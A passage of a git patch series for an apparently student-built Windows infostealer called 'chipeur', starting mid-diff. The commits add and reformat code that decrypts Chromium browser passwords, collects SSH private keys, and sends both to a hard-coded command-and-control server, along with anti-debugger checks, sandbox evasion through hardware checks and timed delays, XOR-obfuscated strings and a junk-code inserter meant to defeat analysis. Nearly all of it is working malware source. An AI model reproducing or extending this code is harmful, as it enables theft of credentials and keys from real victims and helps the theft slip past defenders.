free(headTypeFname); + free(header); + return FALSE; + } + // sending the ssh secret file + if (send_file(keysTab[i].secretKeyPath, sock) == FALSE) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", keysTab[i].secretKeyPath); + fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", + keysTab[i].secretKeyPath); #endif - success = FALSE; - } - // senfing the tail of the request - err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); - if (err == SOCKET_ERROR) { + success = FALSE; + } + // senfing the tail of the request + err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); + if (err == SOCKET_ERROR) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", GetLastError()); + fwprintf(stderr, + L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", + GetLastError()); #endif - free(headTypeFname); - free(header); - return FALSE; - } + free(headTypeFname); + free(header); + return FALSE; + } #ifdef DEBUG - wprintf(L"DEBUG: send_ssh_keys: File '%ls' sent with success\n", keysTab[i].secretKeyPath); + wprintf(L"DEBUG: send_ssh_keys: File '%ls' sent with success\n", + keysTab[i].secretKeyPath); #endif - free(headTypeFname); + free(headTypeFname); } } @@ -276,7 +298,7 @@ BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, return success; } -BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ +BOOL send_credentials(SOCKET *sock, Credential *credTab, DWORD32 lenCredTab) { // Function that send the credentials to the c2 server // [CHIPEUR]|@|credentials|url1,username1,password1\n...\nurlN,usernameN,passwordN[RUEPIHC] PWSTR header = get_header(); @@ -284,45 +306,53 @@ BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ PWSTR datatype = L"credentials|"; size_t lenHeadType = lenHeader + 13 + 1; PWSTR headType = malloc(sizeof(WCHAR) * lenHeadType); - if (headType == NULL){ + if (headType == NULL) { #ifdef DEBUG - fprintf(stderr, "DEBUG: send_credentials: Error, couldn't allocate the headType"); + fprintf(stderr, + "DEBUG: send_credentials: Error, couldn't allocate the headType"); #endif free(header); return FALSE; } - + // sending the header _snwprintf(headType, lenHeadType, L"%ls%ls", header, datatype); free(header); int err = send(*sock, (char *)headType, lenHeadType * 2, 0); - if (err == SOCKET_ERROR){ + if (err == SOCKET_ERROR) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send header: %d\n", GetLastError()); + fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send header: %d\n", + GetLastError()); #endif free(headType); } free(headType); // sending the credentials - for (DWORD i = 0; i < lenCredTab; i++){ - char * credToSend = NULL; - DWORD32 lenCredToSend = strlen(credTab[i].url) + strlen(credTab[i].username) + strlen(credTab[i].password) + 4; + for (DWORD i = 0; i < lenCredTab; i++) { + char *credToSend = NULL; + DWORD32 lenCredToSend = strlen(credTab[i].url) + + strlen(credTab[i].username) + + strlen(credTab[i].password) + 4; credToSend = malloc(sizeof(char) * (lenCredToSend + 1)); credToSend[lenCredToSend] = 0; - if (credToSend == NULL){ + if (credToSend == NULL) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_credentials: Couldn't allocate credentials to send\n"); + fwprintf( + stderr, + L"DEBUG: send_credentials: Couldn't allocate credentials to send\n"); #endif break; } - snprintf(credToSend, lenCredToSend, "%s,%s,%s\n", credTab[i].url, credTab[i].username, credTab[i].password); + snprintf(credToSend, lenCredToSend, "%s,%s,%s\n", credTab[i].url, + credTab[i].username, credTab[i].password); err = send(*sock, credToSend, lenCredToSend, 0); free(credToSend); - if (err == SOCKET_ERROR){ + if (err == SOCKET_ERROR) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send header: %d\n", GetLastError()); + fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send header: %d\n", + GetLastError()); #endif break; } @@ -332,9 +362,11 @@ BOOL send_credentials(SOCKET * sock, Credential * credTab, DWORD32 lenCredTab){ err = send(*sock, "[RUEPIHC]\n", sizeof(char) * 11, 0); if (err == SOCKET_ERROR) { #ifdef DEBUG - fwprintf(stderr, L"DEBUG: send_credentials: Couldn't send end of request: %d\n", GetLastError()); + fwprintf(stderr, + L"DEBUG: send_credentials: Couldn't send end of request: %d\n", + GetLastError()); #endif - return FALSE; + return FALSE; } #ifdef DEBUG printf("DEBUG: send_credentials: Credentials sent successfully\n"); diff --git a/src/chipeur.c b/src/chipeur.c index a957ab8..907fccb 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -6,11 +6,11 @@ #include #include +#include "c2.h" #include "chromium.h" -#include "logins.h" #include "find_ssh_key.h" +#include "logins.h" #include "obfuscation.h" -#include "c2.h" int main(void) { #ifdef DEBUG @@ -19,59 +19,57 @@ int main(void) { SetConsoleOutputCP(CP_UTF8); #endif -// Check if a debugger is attached to the process -BOOL isDebuggerPresent = FALSE; -HANDLE hProcess = GetCurrentProcess(); + // Check if a debugger is attached to the process + BOOL isDebuggerPresent = FALSE; + HANDLE hProcess = GetCurrentProcess(); -if (CheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) { - if (isDebuggerPresent) { + if (CheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) { + if (isDebuggerPresent) { #ifdef DEBUG - printf("Debug program detected on the process.\n"); + printf("Debug program detected on the process.\n"); #endif - while (1); - } else { + while (1); + } else { #ifdef DEBUG - printf("No debug process detected on the process\n"); + printf("No debug process detected on the process\n"); #endif - } -} else { + } + } else { #ifdef DEBUG - printf( - "DEBUG: main: CheckRemoteDebuggerPresent failed. Error : %lu\n", - GetLastError()); + printf("DEBUG: main: CheckRemoteDebuggerPresent failed. Error : %lu\n", + GetLastError()); #endif -} + } Credential credTab[CRED_SIZE] = {0}; DWORD32 lenCredTab = 0; sshKey keysFilenamesTab[MAX_KEY_FILES] = {0}; DWORD32 lenKeysTab = 0; - + steal_chromium_creds(credTab, &lenCredTab); wchar_t users_path[] = L"\x69\x10\x76\x7f\x59\x4f\x58\x59"; // C:\Users XOR_STR(users_path, 8); find_ssh_key(users_path, keysFilenamesTab, &lenKeysTab); - for (int i = 0; i < lenCredTab; i++){ + for (int i = 0; i < lenCredTab; i++) { printCredential(credTab[i]); } SOCKET sock; BOOL success = connect_to_c2(&sock); - if (success == 0){ + if (success == 0) { exit(-1); } success = send_ssh_key(keysFilenamesTab, lenKeysTab, &sock); #ifdef DEBUG - if (success){ + if (success) { printf("DEBUG: main: Info, ssh keys sent with success\n"); - } #endif success = send_credentials(&sock, credTab, lenCredTab); #ifdef DEBUG - if (success){ + if (success) { printf("DEBUG: main: Info, creds sent with success\n"); } #endif diff --git a/src/chromium.c b/src/chromium.c index 86ff720..fe82bc7 100644 --- a/src/chromium.c +++ b/src/chromium.c @@ -194,7 +194,8 @@ static int decrypt_key(BYTE encryptedKey[], size_t encryptedKeySize, } // Steals credentials for a singular `browser` -static int steal_browser_creds(BrowserInfo browser, Credential * credTab, DWORD32 * indexCredTab) { +static int steal_browser_creds(BrowserInfo browser, Credential *credTab, + DWORD32 *indexCredTab) { // login data contains each logins with the password encrypted and other // attributes in clear text @@ -253,7 +254,7 @@ static int steal_browser_creds(BrowserInfo browser, Credential * credTab, DWORD3 if (decode_key(encodedKey, &encryptedKey, &encryptedKeySize) != EXIT_SUCCESS) { #ifdef DEBUG - printf("Could not decode %ls\n", encodedKey); + printf("Could not decode %ls\n", encodedKey); #endif return EXIT_FAILURE; } @@ -277,7 +278,7 @@ static int steal_browser_creds(BrowserInfo browser, Credential * credTab, DWORD3 } for (int i = 0; i < credentialsCount; i++) { - if (*indexCredTab < CRED_SIZE){ + if (*indexCredTab < CRED_SIZE) { credTab[*indexCredTab].url = strdup(credentials[i].url); credTab[*indexCredTab].username = strdup(credentials[i].username); credTab[*indexCredTab].password = strdup(credentials[i].password); @@ -296,7 +297,7 @@ static int steal_browser_creds(BrowserInfo browser, Credential * credTab, DWORD3 return EXIT_SUCCESS; } -int steal_chromium_creds(Credential * credTab, DWORD32 * indexCredTab) { +int steal_chromium_creds(Credential *credTab, DWORD32 *indexCredTab) { /* BrowserInfo browsers[] = { {L"7Star", L"\\7Star\\7Star\\User Data\\Default\\Login Data", L"\\7Star\\7Star\\User Data\\Local State"}, @@ -498,7 +499,8 @@ int steal_chromium_creds(Credential * credTab, DWORD32 * indexCredTab) { }; for (int i = 0; i < sizeof(browsers) / sizeof(BrowserInfo); i++) { - if (steal_browser_creds(browsers[i], credTab, indexCredTab) != EXIT_SUCCESS) { + if (steal_browser_creds(browsers[i], credTab, indexCredTab) != + EXIT_SUCCESS) { #ifdef DEBUG fwprintf(stderr, L"Unable to find credentials for %s. Continuing...\n", browsers[i].browserName); diff --git a/src/extract_file.c b/src/extract_file.c index 3983add..93d7514 100644 --- a/src/extract_file.c +++ b/src/extract_file.c @@ -41,11 +41,11 @@ void print_file(const PWSTR filename) { CloseHandle(hFile); } -BOOL is_readable(const PWSTR filename){ +BOOL is_readable(const PWSTR filename) { // check if the file is readable. HANDLE hFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, NULL); + FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { #ifdef DEBUG diff --git a/src/find_ssh_key.c b/src/find_ssh_key.c index c0f1646..23eb1cf 100644 --- a/src/find_ssh_key.c +++ b/src/find_ssh_key.c @@ -35,7 +35,6 @@ static BOOL find_keys_pair(const WCHAR *directory, const WCHAR *pkName, // Checking if the public key is readable - // Checking if the secret key exists DWORD attributes = GetFileAttributesW(skNamePath); if (attributes == INVALID_FILE_ATTRIBUTES || @@ -43,7 +42,7 @@ static BOOL find_keys_pair(const WCHAR *directory, const WCHAR *pkName, #ifdef DEBUG wprintf(L"[ERROR] find_key_pair: couldn't find private key for %ls\n", pkNamePath); -#endif +#endif return FALSE; } diff --git a/src/logins.c b/src/logins.c index 888840b..9f52005 100644 --- a/src/logins.c +++ b/src/logins.c @@ -201,7 +201,7 @@ void free_credentials(Credential credentials[], int count) { // Pretty print a `Login` struct void printLogin(Login login) { #ifdef DEBUG - printf("URL: %s\n", login.url); + printf("URL: %s\n", login.url); printf("Username: %s\n", login.username); printf("Password Block (Hex): "); for (int i = 0; i < login.passwordBlockSize; i++) { From bb09140e77794dbf3d149ad19d0de6bc331222c5 Mon Sep 17 00:00:00 2001 From: gznop Date: Wed, 12 Feb 2025 23:14:53 +0100 Subject: [PATCH 20/49] clang formatted --- include/c2.h | 2 +- include/find_ssh_key.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/include/c2.h b/include/c2.h index e636a13..6b44404 100644 --- a/include/c2.h +++ b/include/c2.h @@ -9,7 +9,7 @@ #define C2_IP "192.168.1.17" #define C2_PORT 1234 -BOOL send_ssh_key(sshKey [MAX_KEY_FILES], DWORD32, SOCKET *); +BOOL send_ssh_key(sshKey[MAX_KEY_FILES], DWORD32, SOCKET *); BOOL send_credentials(SOCKET *, Credential *, DWORD32); BOOL connect_to_c2(SOCKET *); #endif \ No newline at end of file diff --git a/include/find_ssh_key.h b/include/find_ssh_key.h index d9bb067..a002058 100644 --- a/include/find_ssh_key.h +++ b/include/find_ssh_key.h @@ -12,5 +12,5 @@ typedef struct sshKey { PWSTR secretKeyPath; } sshKey; -void find_ssh_key(const PWSTR, sshKey [MAX_KEY_FILES], DWORD32 *); +void find_ssh_key(const PWSTR, sshKey[MAX_KEY_FILES], DWORD32 *); #endif \ No newline at end of file From 1618a1e85d5fccf7a9f0c0ebadfc8ce126e1a88e Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Thu, 13 Feb 2025 00:57:14 +0100 Subject: [PATCH 21/49] delay execution using beep --- include/delay_execution.h | 6 ++++++ src/delay_execution.c | 21 +++++++++++++++++++++ 2 files changed, 27 insertions(+) create mode 100644 include/delay_execution.h create mode 100644 src/delay_execution.c diff --git a/include/delay_execution.h b/include/delay_execution.h new file mode 100644 index 0000000..1413bc8 --- /dev/null +++ b/include/delay_execution.h @@ -0,0 +1,6 @@ +#ifndef DELAY_EXECUTION_H +#define DELAY_EXECUTION_H + +int delay_execution(); + +#endif diff --git a/src/delay_execution.c b/src/delay_execution.c new file mode 100644 index 0000000..9859c01 --- /dev/null +++ b/src/delay_execution.c @@ -0,0 +1,21 @@ +#include + +// sleep the program to evade sandbox time limit and check if uptime is +// consistent between the before and after sleep (to detect fast-forwards) +int delay_execution(int duration) { + ULONGLONG uptimeBeforeSleep = GetTickCount64(); + int frequency = 0; // 0 should not trigger any actual beeper + + // Calls NtDelayExecution under the hood, we could call it directly, but if it + // is hooked we are screwed anyway + // And Beep might ring less alarms than Sleep, since it is less common + // Upside being that Beep is a lot easier to use + Beep(frequency, duration); + ULONGLONG uptimeAfterSleep = GetTickCount64(); + + // detect fast-fowards + if ((uptimeAfterSleep - uptimeBeforeSleep) < duration) { + return EXIT_FAILURE; + } + return EXIT_SUCCESS; +} From a7785a20f9cb623987c7b4d2c824d7fb9cfb371f Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Thu, 13 Feb 2025 01:28:08 +0100 Subject: [PATCH 22/49] fix wrong return code --- src/hardware_requirements.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/hardware_requirements.c b/src/hardware_requirements.c index 3468534..8ca7f39 100644 --- a/src/hardware_requirements.c +++ b/src/hardware_requirements.c @@ -97,7 +97,7 @@ static int check_resolution() { // Exit if the primary monitor resolution is too small if (xResolution < 1000 && yResolution < 1000) { - return 1; + return EXIT_FAILURE; } int numberOfMonitors = GetSystemMetrics(SM_CMONITORS); From a41b76b3ca5c367671dfdab8f520d8f33382ffdb Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Thu, 13 Feb 2025 01:36:35 +0100 Subject: [PATCH 23/49] print to console are now dependendant on macro DEBUG --- src/chipeur.c | 2 ++ src/hardware_requirements.c | 14 ++++++++++++++ 2 files changed, 16 insertions(+) diff --git a/src/chipeur.c b/src/chipeur.c index cc72e1e..7063be5 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -20,6 +20,7 @@ int main(void) { // Stop if sandbox detected int return_code = check_hardware(); if (return_code != EXIT_SUCCESS) { +#ifdef DEBUG fprintf(stderr, "Hardware requirements check failed. Reason: "); switch (return_code) { case EXIT_CPU_FAIL: fprintf(stderr, "CPU check failed.\n"); break; @@ -31,6 +32,7 @@ int main(void) { default: fprintf(stderr, "Unknown check failed.\n"); break; } fprintf(stderr, "Now exiting..."); +#endif return EXIT_FAILURE; } diff --git a/src/hardware_requirements.c b/src/hardware_requirements.c index 8ca7f39..aa0315f 100644 --- a/src/hardware_requirements.c +++ b/src/hardware_requirements.c @@ -10,7 +10,9 @@ static int check_cpu() { GetSystemInfo(&systemInfo); DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors; if (numberOfProcessors < 2) { +#ifdef DEBUG fprintf(stderr, "Insufficient CPU cores detected !!\n"); +#endif return EXIT_FAILURE; } else { return EXIT_SUCCESS; @@ -22,12 +24,16 @@ static int check_ram() { MEMORYSTATUSEX memoryStatus; memoryStatus.dwLength = sizeof(memoryStatus); if (!GlobalMemoryStatusEx(&memoryStatus)) { +#ifdef DEBUG fprintf(stderr, "Failed to get RAM status !!\n"); +#endif return EXIT_FAILURE; } if (memoryStatus.ullTotalPhys / 1024 / 1024 < 2048) { +#ifdef DEBUG fprintf(stderr, "Insufficient RAM detected !!\n"); +#endif return EXIT_FAILURE; } else { return EXIT_SUCCESS; @@ -41,7 +47,9 @@ static int check_hdd() { FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { +#ifdef DEBUG fprintf(stderr, "Failed to open physical drive !!\n"); +#endif return EXIT_FAILURE; } @@ -51,7 +59,9 @@ static int check_hdd() { &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, NULL); if (!result) { +#ifdef DEBUG fprintf(stderr, "Failed to get disk geometry !!\n"); +#endif CloseHandle(hDevice); return EXIT_FAILURE; } @@ -63,7 +73,9 @@ static int check_hdd() { (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024); if (diskSizeGB < 100) { +#ifdef DEBUG fprintf(stderr, "Insufficient HDD capacity detected !!\n"); +#endif CloseHandle(hDevice); return EXIT_FAILURE; } @@ -84,7 +96,9 @@ BOOL CALLBACK check_monitor_resolution(HMONITOR hMonitor, HDC hdcMonitor, if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440) || (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && yResolution != 900)) { +#ifdef DEBUG fprintf(stderr, "Non-standard screen resolution detected !!\n"); +#endif *((BOOL*)data) = TRUE; // Set the flag if resolution is not standard } return EXIT_SUCCESS; // Continue enumeration From 252f25e6422dfabc2f56083d76eb859699fddf36 Mon Sep 17 00:00:00 2001 From: elyessfaxiano Date: Fri, 14 Feb 2025 14:34:35 +0100 Subject: [PATCH 24/49] =?UTF-8?q?Am=C3=A9lioration=20de=20l'insertion=20de?= =?UTF-8?q?=20junk=20code=20et=20r=C3=A9duction=20de=20l'obfuscation=20exc?= =?UTF-8?q?essive?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- chipeur_disassembled.txt | 8 -- chipeur_obf_disassembled.txt | 13 -- include/junk_code_inserter.h | 9 +- src/junk_code_inserter.c | 242 +++++++++++++++++++---------------- 4 files changed, 137 insertions(+), 135 deletions(-) delete mode 100644 chipeur_disassembled.txt delete mode 100644 chipeur_obf_disassembled.txt diff --git a/chipeur_disassembled.txt b/chipeur_disassembled.txt deleted file mode 100644 index 19dacb0..0000000 --- a/chipeur_disassembled.txt +++ /dev/null @@ -1,8 +0,0 @@ - 1026: ff 25 9c 2f 00 00 jmp *0x2f9c(%rip) # 3fc8 <_GLOBAL_OFFSET_TABLE_+0x10> - 1030: ff 25 9a 2f 00 00 jmp *0x2f9a(%rip) # 3fd0 - 103b: e9 e0 ff ff ff jmp 1020 <_init+0x20> - 1040: ff 25 b2 2f 00 00 jmp *0x2fb2(%rip) # 3ff8 <__cxa_finalize@GLIBC_2.2.5> - 10bf: ff e0 jmp *%rax - 1100: ff e0 jmp *%rax - 1154: e9 77 ff ff ff jmp 10d0 - 116b: e9 c0 fe ff ff jmp 1030 diff --git a/chipeur_obf_disassembled.txt b/chipeur_obf_disassembled.txt deleted file mode 100644 index 0a40964..0000000 --- a/chipeur_obf_disassembled.txt +++ /dev/null @@ -1,13 +0,0 @@ - 1026: ff 25 94 2f 00 00 jmp *0x2f94(%rip) # 3fc0 <_GLOBAL_OFFSET_TABLE_+0x10> - 1030: ff 25 92 2f 00 00 jmp *0x2f92(%rip) # 3fc8 - 103b: e9 e0 ff ff ff jmp 1020 <_init+0x20> - 1040: ff 25 8a 2f 00 00 jmp *0x2f8a(%rip) # 3fd0 - 104b: e9 d0 ff ff ff jmp 1020 <_init+0x20> - 1050: ff 25 a2 2f 00 00 jmp *0x2fa2(%rip) # 3ff8 <__cxa_finalize@GLIBC_2.2.5> - 10dc: eb ef jmp 10cd - 112f: ff e0 jmp *%rax - 1170: ff e0 jmp *%rax - 11c4: e9 77 ff ff ff jmp 1140 - 11db: e9 50 fe ff ff jmp 1030 -00000000000011e0 : -0000000000001210 : diff --git a/include/junk_code_inserter.h b/include/junk_code_inserter.h index c85d714..bd59492 100644 --- a/include/junk_code_inserter.h +++ b/include/junk_code_inserter.h @@ -1,18 +1,19 @@ #ifndef JUNK_CODE_INSERTER_H #define JUNK_CODE_INSERTER_H -#include #include #include #include #include +#include // Constants for junk code and control flow obfuscation probabilities #define MAX_LINE_LENGTH 1024 -#define JUNK_CODE_PROBABILITY 50 // Probability of inserting junk code -#define CONTROL_FLOW_PROBABILITY 100 // Probability of inserting control flow obfuscation -#define MAX_OBFUSCATIONS_PER_FUNCTION 5 // Maximum obfuscations per function +#define MAX_OBFUSCATIONS_PER_FUNCTION 1 +#define JUNK_CODE_PROBABILITY 25 +#define CONTROL_FLOW_PROBABILITY 15 +#define OPAQUE_PREDICATE_PROBABILITY 10 /** * @brief Generates random junk code to obfuscate the source code. diff --git a/src/junk_code_inserter.c b/src/junk_code_inserter.c index e5e49b4..04b0fc3 100644 --- a/src/junk_code_inserter.c +++ b/src/junk_code_inserter.c @@ -1,127 +1,146 @@ +// gcc -o junk_code_inserter src/junk_code_inserter.c -lcrypto #include "junk_code_inserter.h" - - - -// Function to generate junk code snippets void generate_junk_code(FILE *output) { - int rand_value = rand() % 8; // Increased to 8 for more diversity + unsigned int rand_value; + if (RAND_bytes((unsigned char*)&rand_value, sizeof(rand_value)) != 1) { + rand_value = rand(); // Fallback + } + rand_value %= 5; switch (rand_value) { - case 0: // Unused variable - fprintf(output, " // Variable used for critical error management\n"); - fprintf(output, " volatile int junk_var_%d = %d;\n", rand() % 1000, rand() % 1000); - + case 0: { + int var_id = rand() % 1000; + fprintf(output, " volatile int random_val_%d = rand() %% 256;\n", var_id); + fprintf(output, " for (int i = 0; i < 3 + (rand() %% 3); i++) {\n"); + fprintf(output, " random_val_%d ^= (random_val_%d + i) & (rand() %% 100);\n", var_id, var_id); + fprintf(output, " }\n"); + fprintf(output, " if ((random_val_%d & (1 << (rand() %% 8))) != 0) {\n", var_id); + fprintf(output, " random_val_%d |= (rand() %% 0xFF);\n", var_id); + fprintf(output, " } else {\n"); + fprintf(output, " random_val_%d &= ~(rand() %% 0x7F);\n", var_id); + fprintf(output, " }\n"); break; + } - case 1: // Unnecessary computation - fprintf(output, " volatile int calc = (%d * %d) / (%d + 1);\n", rand() % 100, rand() % 50, rand() % 10 + 1); - fprintf(output, " // Intermediate calculation for performance optimization\n"); + case 1: { + int array_id = rand() % 1000; + int array_size = 2 + (rand() % 3); + fprintf(output, " volatile int* mem_block_%d = (int*)malloc(sizeof(int) * %d);\n", + array_id, array_size); + fprintf(output, " if (mem_block_%d) {\n", array_id); + fprintf(output, " for (int i = 0; i < %d; i++) {\n", array_size); + fprintf(output, " mem_block_%d[i] = (i * rand()) ^ (rand() %% 0xFFFF);\n", array_id); + fprintf(output, " }\n"); + fprintf(output, " mem_block_%d[rand() %% %d] ^= (rand() %% 0xFF);\n", array_id, array_size); + fprintf(output, " free((void*)mem_block_%d);\n", array_id); + fprintf(output, " }\n"); break; + } - case 2: // Useless loop - fprintf(output, " // Iterating through a series of critical operations\n"); - fprintf(output, " for (int i = 0; i < %d; i++) {\n", rand() % 10 + 1); - fprintf(output, " volatile int temp = i * i + %d;\n", rand() % 50); + case 2: { + int ptr_id = rand() % 1000; + fprintf(output, " volatile int* heap_var_%d = (int*)malloc(sizeof(int) * 3);\n", ptr_id); + fprintf(output, " if (heap_var_%d) {\n", ptr_id); + fprintf(output, " for (int i = 0; i < 3; i++) {\n"); + fprintf(output, " heap_var_%d[i] = (rand() << 16) | rand();\n", ptr_id); + fprintf(output, " }\n"); + fprintf(output, " heap_var_%d[1] ^= heap_var_%d[2] * heap_var_%d[0];\n", + ptr_id, ptr_id, ptr_id); + fprintf(output, " free((void*)heap_var_%d);\n", ptr_id); fprintf(output, " }\n"); break; + } - case 3: // Unnecessary condition - fprintf(output, " // Critical condition to adjust dynamic parameters\n"); - fprintf(output, " if (rand() %% 4 == 0) {\n"); - fprintf(output, " volatile int temp = %d;\n", rand() % 100); + case 3: { + int logic_id = rand() % 1000; + fprintf(output, " volatile int control_flow_%d = rand() ^ (rand() << 16);\n", logic_id); + fprintf(output, " for (int i = (control_flow_%d & 0x3); i > 0; i--) {\n", logic_id); + fprintf(output, " control_flow_%d ^= (i * control_flow_%d) | (rand() %% 0xFFFF);\n", + logic_id, logic_id); + fprintf(output, " }\n"); + fprintf(output, " if ((control_flow_%d & 0x80000000)) {\n", logic_id); + fprintf(output, " control_flow_%d += rand();\n", logic_id); fprintf(output, " } else {\n"); - fprintf(output, " volatile int temp = %d;\n", rand() % 200); + fprintf(output, " control_flow_%d -= (rand() %% 0x3FF);\n", logic_id); fprintf(output, " }\n"); break; + } - case 4: // Useless array - fprintf(output, " volatile int junk_array_%d[5] = {", rand() % 1000); - for (int i = 0; i < 5; i++) { - fprintf(output, "%d, ", rand() % 100); - } - fprintf(output, "};\n"); - fprintf(output, " // Static configuration data\n"); - break; - - case 5: // Unnecessary pointers - fprintf(output, " // Critical pointer manipulation for memory access security\n"); - fprintf(output, " volatile int *junk_ptr = NULL;\n"); - fprintf(output, " int junk_value = %d;\n", rand() % 100); - fprintf(output, " junk_ptr = &junk_value;\n"); - fprintf(output, " volatile int deref = *junk_ptr;\n"); - break; - - case 6: // Useless structure - fprintf(output, " // Structure used for critical data serialization\n"); - fprintf(output, " struct JunkStruct {\n"); - fprintf(output, " int field_a;\n"); - fprintf(output, " float field_b;\n"); - fprintf(output, " } junk_struct;\n"); - fprintf(output, " junk_struct.field_a = %d;\n", rand() % 100); - fprintf(output, " junk_struct.field_b = %.2f;\n", (rand() % 1000) / 100.0); + case 4: { + int loop_id = rand() % 1000; + fprintf(output, " volatile int seed_%d = (rand() << 16) | rand();\n", loop_id); + fprintf(output, " volatile int modifier_%d = rand() %% 100 + 1;\n", loop_id); + fprintf(output, " for (int i = (seed_%d & 0x3); i < (4 + (modifier_%d & 0x1)); i++) {\n", loop_id, loop_id); + fprintf(output, " seed_%d = ((seed_%d * 0x5DEECE66DULL + 0xB) ^ (rand() << 16)) + modifier_%d;\n", + loop_id, loop_id, loop_id); + fprintf(output, " if ((seed_%d & 0xF) == 0) break;\n", loop_id); + fprintf(output, " }\n"); break; + } - case 7: // Call to an unused function - fprintf(output, " // Call to a critical function for validation\n"); - fprintf(output, " junk_function_%d();\n", rand() % 1000); - break; } } -// Function to generate control flow obfuscations void generate_control_flow(FILE *output) { - int rand_value = rand() % 5; // Increased to 5 for more diversity + unsigned int rand_value; + RAND_bytes((unsigned char*)&rand_value, sizeof(rand_value)); + rand_value %= 4; switch (rand_value) { - case 0: // Fake switch - fprintf(output, " // Managing critical cases in branch distribution\n"); - fprintf(output, " switch (rand() %% 3) {\n"); - fprintf(output, " case 0: break;\n"); - fprintf(output, " case 1: break;\n"); - fprintf(output, " case 2: break;\n"); + case 0: { + int var_id = rand() % 1000; + fprintf(output, " volatile int control_state_%d = rand() ^ (rand() << 16);\n", var_id); + fprintf(output, " if ((control_state_%d & 0x8000) == 0) {\n", var_id); + fprintf(output, " control_state_%d ^= (rand() << 8) | 0xFF00FF;\n", var_id); + fprintf(output, " } else {\n"); + fprintf(output, " control_state_%d |= (rand() %% 0xFFFF);\n", var_id); fprintf(output, " }\n"); break; + } - case 1: // Simple condition - fprintf(output, " // Validating dynamic states\n"); - fprintf(output, " if (rand() %% 2 == 0) {\n"); - fprintf(output, " volatile int temp = 42;\n"); - fprintf(output, " } else {\n"); - fprintf(output, " volatile int temp = 84;\n"); + case 1: { + int buffer_id = rand() % 1000; + fprintf(output, " volatile int buffer_control_%d[3];\n", buffer_id); + fprintf(output, " for (int i = 0; i < 3; i++) {\n"); + fprintf(output, " buffer_control_%d[i] = (rand() << 24) | (rand() << 8);\n", buffer_id); + fprintf(output, " }\n"); + fprintf(output, " if ((buffer_control_%d[0] ^ buffer_control_%d[1]) > buffer_control_%d[2]) {\n", + buffer_id, buffer_id, buffer_id); + fprintf(output, " buffer_control_%d[1] ^= buffer_control_%d[2];\n", buffer_id, buffer_id); fprintf(output, " }\n"); break; + } + + case 2: { + int branch_id = rand() % 1000; + fprintf(output, " volatile int decision_%d = rand() %% 0x7FFF;\n", branch_id); + fprintf(output, " volatile int bitmask_%d = (rand() << 16) | rand();\n", branch_id); - case 2: // Fake path - fprintf(output, " // Critical path for random values\n"); - fprintf(output, " if (rand() %% 3 == 0) {\n"); - fprintf(output, " volatile int temp = rand();\n"); + fprintf(output, " if (decision_%d > (0x7FFF * 3 / 4)) {\n", branch_id); + fprintf(output, " decision_%d ^= (bitmask_%d & 0x3F3F3F3F);\n", branch_id, branch_id); + fprintf(output, " } else {\n"); + fprintf(output, " decision_%d &= ~(0xF0F0F0F);\n", branch_id); fprintf(output, " }\n"); break; + } - case 3: // Nested condition - fprintf(output, " // Double validation for enhanced security\n"); - fprintf(output, " if (rand() %% 2 == 0) {\n"); - fprintf(output, " if (rand() %% 2 == 0) {\n"); - fprintf(output, " volatile int temp = 42;\n"); - fprintf(output, " }\n"); + case 3: { + int rand_id = rand() % 1000; + fprintf(output, " /* Opaque predicate */\n"); + fprintf(output, " int key_%d = rand() %% 255;\n", rand_id); + fprintf(output, " int predicate_%d = ((key_%d * 0x6B8B4567) & 0x42) != 0;\n", rand_id, rand_id); + fprintf(output, " if (predicate_%d) {\n", rand_id); + fprintf(output, " volatile int opaque_%d = rand();\n", rand_id); + fprintf(output, " opaque_%d ^= (opaque_%d << 16);\n", rand_id, rand_id); fprintf(output, " }\n"); break; - - case 4: // Fake label with goto - { - int label_id = rand() % 1000; // Generate a single label ID - fprintf(output, " // Managing critical jumps\n"); - fprintf(output, " goto label_%d;\n", label_id); - fprintf(output, "label_%d:\n", label_id); - break; } } } -// Function to insert junk code and control flow obfuscations into the target file void insert_obfuscation(const char *file_path) { - char temp_file[] = "chipeur_tmp.c"; + char temp_file[] = "obfuscated_temp.c"; FILE *input = fopen(file_path, "r"); FILE *output = fopen(temp_file, "w"); @@ -133,31 +152,40 @@ void insert_obfuscation(const char *file_path) { char line[MAX_LINE_LENGTH]; int inside_function = 0; int obfuscations_in_function = 0; - int has_returned = 0; // Indicates if a `return` statement has been encountered + int 